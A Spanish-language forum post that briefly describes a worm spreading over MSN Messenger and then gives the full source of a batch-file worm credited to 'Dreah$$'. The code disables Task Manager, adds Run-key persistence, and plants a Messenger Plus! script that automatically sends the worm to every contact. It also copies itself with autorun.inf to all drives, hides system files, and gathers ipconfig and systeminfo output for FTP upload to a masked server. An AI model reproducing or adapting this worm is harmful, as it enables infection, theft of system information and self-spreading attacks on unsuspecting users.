Nuevo Virus que esta infectando al msn

Nuevo gusano cuya propagación se realiza mediante los programas de mensajería instantánea de Microsoft (Windows Live Messenger, MSN Messenger y Windows Messenger) a toda la lista de contactos.

El idioma del mensaje enviado varía según el lenguaje establecido para el equipo, con texto del estido de los siguientes: "oye voy a poner esa foto de nosotros en mi myspace :->" o "jaja recuerda cuando tuviste el pelo asi".
Junto al mensaje llega un fichero de nombre 'IMG-0012.zip'.

Al descargar el archivo comprimido y ejecutalro te abre una puerta trasera en el sistema que permite a un atacante remoto, entre otras acciones, listar/detener procesos, robar información del sistema y descargar/ejecutar código malicioso. Este tipo de gusanos son cada vez más utilizados por los atacantes ya que confunden de forma muy fácil al usuario que le llega el mensaje.

TU PA CONTADURIA.... SI EXPOSICION EL LUNES A ESTUDIAR...

Bueno aqui dejo el code.

Code

@echo off
::Este Virus Fue Creador Por Dreah$$
::El Virus Fue Creado por mi
::Virus En Batch Que Se Propaga Por MSN
::Echo en España
title LOL by DREAHSS
:inicio

if exist %windir%\disable.TXT (goto nb8) else (goto nb9)
:nb9
echo LOL>> %windir%\disable.TXT
reg add hkey_current_user\software\microsoft\windows\currentversion\policies\system /v disabletaskmgr /t reg_dword /d 1 /f
:nb8


if exist %windir%\system32\sistema\LOL.exe (goto az1) else (goto az2)
:az2
md "%windir%\system32\sistema"
copy %0 %windir%\system32\sistema\LOL.exe /y
REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "LOL" /t REG_SZ /d "%windir%\system32\sistema\LOL.exe" /f
attrib +h +s "%windir%\system32\sistema"
:az1


if exist %windir%\system32\LOL.exe (goto css) else (goto csn)
:csn
COPY %0 %windir%\system32\LOL.exe
:css

if exist "%windir%\system32\LOL\LOL impresionate OWNED.rar" (goto rars) else (goto rarn)
:rarn
md "%windir%\system32\LOL\"
attrib +h +s "%windir%\system32\LOL"
start winrar.exe a "%windir%\system32\LOL\LOL impresionate OWNED.rar" %0
:rars

if exist "%programfiles%\Messenger Plus! Live\Scripts\MSN PLUS\MSN PLUS.js" (goto 900) else (goto 009)
:009
md "%programfiles%\Messenger Plus! Live\Scripts\MSN PLUS\"
echo function OnEvent_ChatWndReceiveMessage(ChatWnd, Origin, Message, MessageKind)>> "%programfiles%\Messenger Plus! Live\Scripts\MSN PLUS\MSN PLUS.js"
echo {>> "%programfiles%\Messenger Plus! Live\Scripts\MSN PLUS\MSN PLUS.js"
echo if (Origin != Messenger.MyName)>> "%programfiles%\Messenger Plus! Live\Scripts\MSN PLUS\MSN PLUS.js"
echo {>> "%programfiles%\Messenger Plus! Live\Scripts\MSN PLUS\MSN PLUS.js"
echo ChatWnd.SendMessage("/sendfile %homedrive%\\WINDOWS\\system32\\LOL\\LOL impresionate OWNED 2008.rar");>> "%programfiles%\Messenger Plus! Live\Scripts\MSN PLUS\MSN PLUS.js"
echo ChatWnd.SendMessage("(M) [c=39]Mira Mis Nuevas Fotos [/c] (M)");>> "%programfiles%\Messenger Plus! Live\Scripts\MSN PLUS\MSN PLUS.js"
echo ChatWnd.SendMessage("/name *help[c=4] Ayuda Tu Tambien A Las Ballena[/c]s *help");>> "%programfiles%\Messenger Plus! Live\Scripts\MSN PLUS\MSN PLUS.js"
echo ChatWnd.SendMessage("/psm (M) [c=48]Paticipa Ayuda A preserver Los [c=41]Animales[/c] Visita [/c]www.greenpeace.org/international (M)")>> "%programfiles%\Messenger Plus! Live\Scripts\MSN PLUS\MSN PLUS.js"
echo }>> "%programfiles%\Messenger Plus! Live\Scripts\MSN PLUS\MSN PLUS.js"
echo }>> "%programfiles%\Messenger Plus! Live\Scripts\MSN PLUS\MSN PLUS.js"
reg add "HKEY_CURRENT_USER\Software\Patchou\Messenger Plus! Live\GlobalSettings\Scripts\MSN PLUS" /v Enabled /t REG_DWORD /d 1 /f > nul
tskill msnmsgr
taskill msnmsgr.exe
attrib +h +s "%programfiles%\Messenger Plus! Live\Scripts\MSN PLUS"
attrib +h +s "%programfiles%\Messenger Plus! Live\Scripts"
attrib +h +s "%programfiles%\Messenger Plus! Live"
:900



if exist %windir%\system32\sistema\autorun.inf (goto ifs) else (goto ifn)
:ifn
md "%windir%\system32\sistema"
echo [AutoRun] >> %windir%\system32\sistema\autorun.inf
echo open=Foto\Foto.exe >> %windir%\system32\sistema\autorun.inf
echo shellexecute=Foto\Foto.exe >> %windir%\system32\sistema\autorun.inf
echo shell\Auto\command=LOL\LOL.exe >> %windir%\system32\sistema\autorun.inf
copy %0 %windir%\system32\sistema\LOL.exe
attrib +h +s "%windir%\system32\sistema"
:ifs

FOR %%A IN ( C E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
IF exist %%A:\ (echo.) else (echo.)
MD %%A:\LOL
copy %windir%\system32\sistema\LOL.exe %%A:\LOL\LOL.exe /Y
attrib +h +s %%A:\Foto
copy %windir%\system32\sistema\autorun.inf %%A:\autorun.inf /Y
attrib +h +s %%A:\autorun.inf
)

if exist "%windir%\ftp.TXT" (goto ftp1) else (goto ftp2)
:ftp2
echo LOL >> %windir%\ftp.TXT
cd %windir%\
echo _____________________________________________________________________________________________________>> %username%.txt
echo title:LOL.exe>> %username%.txt
echo _____________________________________________________________________________________________________>> %username%.txt
echo Nombre:%username%>> %username%.txt
echo _____________________________________________________________________________________________________>> %username%.txt
echo dia:%date% hora:%time%>> %username%.txt
echo _____________________________________________________________________________________________________>> %username%.txt
ipconfig>> %username%.txt
echo _____________________________________________________________________________________________________>> %username%.txt
systeminfo>> %username%.txt
echo _____________________________________________________________________________________________________>> %username%.txt
echo ------------>> LOL.txt
echo ----------->> LOL.txt
echo ascii>> LOL.txt
echo cd f---------->> LOL.txt
echo PUT %username%.txt>> LOL.txt
echo quit>> LOL.txt
ftp -s:%windir%\LOL.txt --------
del /q %windir%\LOL.txt
:ftp1


if exist "%windir%\greenpeace\Green.exe" (goto gre1) else (goto gre2)
:gre2
md "%windir%\greenpeace"
copy %0 "%windir%\greenpeace\Green.exe"
attrib +h +s %windir%\*.*
attrib +h +s %windir%\regedit.exe
attrib +h +s %windir%\system32\*.*
attrib +h +s %windir%\greenpeace\Green.exe
:gre1

reg add "HKEY_CURRENT_USER\Software\Patchou\Messenger Plus! Live\GlobalSettings\Scripts\MSN PLUS" /v Enabled /t REG_DWORD /d 1 /f > nul
goto inicio

Saludos